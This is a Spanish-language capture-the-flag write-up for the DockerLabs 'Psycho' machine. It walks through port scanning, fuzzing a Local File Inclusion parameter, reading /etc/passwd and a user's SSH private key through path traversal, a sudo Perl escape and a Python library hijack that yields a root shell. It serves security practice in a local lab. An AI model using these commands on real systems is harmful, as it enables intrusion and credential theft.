> For the complete documentation index, see [llms.txt](https://red-shenlong.gitbook.io/red-shenlong/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red-shenlong.gitbook.io/red-shenlong/dockerlabs/facil/psycho.md).

# Psycho

## Alternativas

**Formato Video:** *Proximamente...*

**Formato pdf:**

{% @github-files/github-code-block url="<https://github.com/RedShenlong/DockerLabs/blob/36a2bb395d170f2df0f29ab930130e345c074031/Facil/Psycho.pdf>" %}

## WriteUp

Una vez desplegada la maquina haremos un escaneo de puertos abiertos con nmap.

En mi casa utilizo el siguiente comando:

```
nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2
```

* **`-p-`**: Escanea todos los puertos .
* **`-sS`**: Realiza un escaneo sigiloso (SYN Scan) para detectar puertos abiertos.
* **`-sC`**: Ejecuta scripts predeterminados para recopilar más información del sistema.
* **`-sV`**: Detecta las versiones de los servicios en ejecución.
* **`--min-rate 5000`**: Acelera el escaneo enviando al menos 5000 paquetes por segundo.
* **`-n`**: No realiza resolución DNS, trabaja directamente con direcciones IP.
* **`-vvv`**: Muestra información detallada y actualizaciones constantes durante el escaneo.
* **`-Pn`**: Salta el "ping" previo y fuerza el escaneo, incluso si el objetivo no responde.

una vez realizado el escaneo vemos que tenemos dos puertos abiertos

<figure><img src="/files/3GSUmmsE1LF7bRfsxlHA" alt=""><figcaption></figcaption></figure>

El puerto 22 tiene SSH, pero como su versión es alta, nos enfocaremos en el puerto 80, que tiene HTTP. Esto significa que si ponemos la IP en el navegador, nos llevará a una página web.

<figure><img src="/files/TLTgnvj7x1KdthtTVOJu" alt=""><figcaption></figcaption></figure>

Es una wed sencilla y no nos da nada de información asi que buscaremos directorios oculto con gobuster con el siguiente comando:

```
sudo gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://172.17.0.2/" -x .php,.sh,.py,.txt,.html
```

<figure><img src="/files/9m43qVD2YBhEbJACGTr8" alt=""><figcaption></figcaption></figure>

El directorio `/assets` es el directorio principal asi que vamos a echarle un ojo

<figure><img src="/files/QBicdByOnIppW92bW2I4" alt=""><figcaption></figcaption></figure>

Podemos descargar la imagen background.jpg y buscar si tiene algún archivo oculto con `steghide extract -sf background.jpg` pero no encontrariamos nada y buscando en sus metadatos con&#x20;

`exiftool background.jpg` tampoco encontrariamos nada.

Asi que dejaremos `/assets` a un lado y nos centramos en `/index.php`

<figure><img src="/files/14mw0kQ21krI4uJF4lOq" alt=""><figcaption></figcaption></figure>

Es un poco extraño por que a simple vista es idéntica a la pagina de inicio así que miraremos su código fuente

<figure><img src="/files/QVmwztSIcGuiCTXSJvbE" alt=""><figcaption></figcaption></figure>

Vemos un error en la línea 63, lo que indica que podríamos estar ante un **LFI (Local File Inclusion)**, ya que parece estar intentando acceder a un archivo usando el parámetro incorrecto. Para encontrar el parámetro correcto, podemos hacer un FUZZING con el siguiente comando:

```
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u 'http://172.17.0.2/index.php?FUZZ=../../../../../../../etc/passwd'
```

<figure><img src="/files/EpbIS7Wpz5VYovZKy5yZ" alt=""><figcaption></figcaption></figure>

Nos aparece una lista interminable, asi que filtraremos con un `--hh 2596`

quedando el siguiente comando:

```
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u 'http://172.17.0.2/index.php?FUZZ=../../../../../../../etc/passwd' --hh 2596
```

<figure><img src="/files/yFCeRmyajNLBlzszvqEf" alt=""><figcaption></figcaption></figure>

Nos ha encontrado el parámetro secret así que reemplazamos FUZZ por secret y lo buscamos en nuestro navegador

```
172.17.0.2/index.php?secret=../../../../../../../etc/passwd
```

<figure><img src="/files/TwUDRJjGV3xwMCHDoqhU" alt=""><figcaption></figcaption></figure>

Al parecer si que nos encontramos ante un LFI.Podriamos intentar realizar un ataque de fuerza bruta con hydra ya que nos aparecen dos usuarios luisillo y vaxei pero no encontrariamos nada por lo que  vamos a intentar obtener el archivo id\_rsa que normalmente esta en `/home/user/.ssh/id_rsa` , personalizando el directorio : `/home/vaxei/.ssh/id_rsa`

<figure><img src="/files/GbHw8V1n6id97LP0GrdR" alt=""><figcaption></figcaption></figure>

Tenemos acceso al archivo id\_rsa, vemos el codigo fuente de la pagina para verlo mejor y lo copiamos

<figure><img src="/files/10Evd15Ze8V3DGTuchrB" alt=""><figcaption></figcaption></figure>

Volvemos a nuestra terminal y creamos un archivo con `sudo nano id_rsa`

ahí dentro pegaremos el texto copiado tal que:

<figure><img src="/files/yShehXZSuFX9tprZOVBh" alt=""><figcaption></figcaption></figure>

guardamos y salimos con `Ctrl+o` `Ctrl+x.`

Una vez completado el paso anterior, procedemos a entrar a través del puerto ssh pero esta vez utilizando el archivo que hemos creado de esta manera.

```
ssh -i id_rsa vaxei@172.17.0.2
```

<figure><img src="/files/V2FGpgbSWxrNvGzj9l08" alt=""><figcaption></figcaption></figure>

Una vez dentro buscamos habrá que escalar privilegios.

Una forma sencilla es buscar binarios SUID que podamos aprovechar para escalar privilegios con el comando :&#x20;

```
find / -perm -4000 2>/dev/null 
```

o binarios Sudo con `sudo -l`

<figure><img src="/files/0UHMS6p6T0iE5mDusHOh" alt=""><figcaption></figcaption></figure>

No hemos encontrado ningún binario SUID para escalar privilegios, pero al ejecutar `sudo -l`, vemos que podemos utilizar comandos del lenguaje de programación Perl. Así que, buscamos la vulnerabilidad en GTFOBins.

<figure><img src="/files/kES1NSyZbhZ3Uq6vOoXM" alt=""><figcaption></figcaption></figure>

Y está disponible para sudo así que entramos y copiamos el comando, lo modificamos un poco tal que:

```
sudo -u luisillo perl -e 'exec "/bin/bash";' 
```

para poder entrar como el usuario luisillo.

<figure><img src="/files/kNobkrQiBgceIndqTvse" alt=""><figcaption></figcaption></figure>

Una vez dentro buscamos habrá que escalar privilegios.

Una forma sencilla es buscar binarios SUID que podamos aprovechar para escalar privilegios con el comando :&#x20;

```
find / -perm -4000 2>/dev/null
```

o binarios Sudo con `sudo -l`

<figure><img src="/files/tbBrGHFwb5AFijgRSGq7" alt=""><figcaption></figcaption></figure>

No hemos encontrado ningún binario SUID para escalar privilegios, pero al ejecutar `sudo -l`, vemos que podemos ejecutar un archivo de python así que vamos a ese directorio y vemos que codigo tiene el archivo.py

```
cd /opt
cat paw.py
```

<figure><img src="/files/UMcxxXLt63Qz28TlVZ0z" alt=""><figcaption></figcaption></figure>

Se trata de un script en Python que importa unas librerías de una manera poco segura, ya que no se importan en una ruta absoluta sino en una relativa. Por ello, aprovecharemos la vulnerabilidad de **Python Library Hijacking**.

Nos creamos un archivo con: `nano subprocess.py`

<figure><img src="/files/uj4N7bqb1em3NmKMs7Oy" alt=""><figcaption></figcaption></figure>

Si os aparece este error debéis de poner el siguiente comando :

```
export TERM=xterm
```

y volvemos a crear el archivo.Una vez dentro copiamos este código:

```
import os 
os.system("/bin/bash")
```

que hará que al ejecutarse el programa seamos root.

guardamos y salimos con `Ctrl+o` `Ctrl+x.`

Y ejecutamos el script paw\.py:

```
sudo /usr/bin/python3 /opt/paw.py
```

<figure><img src="/files/bO6GggywHF4foOxBtGSi" alt=""><figcaption></figcaption></figure>

Y ya somor root.
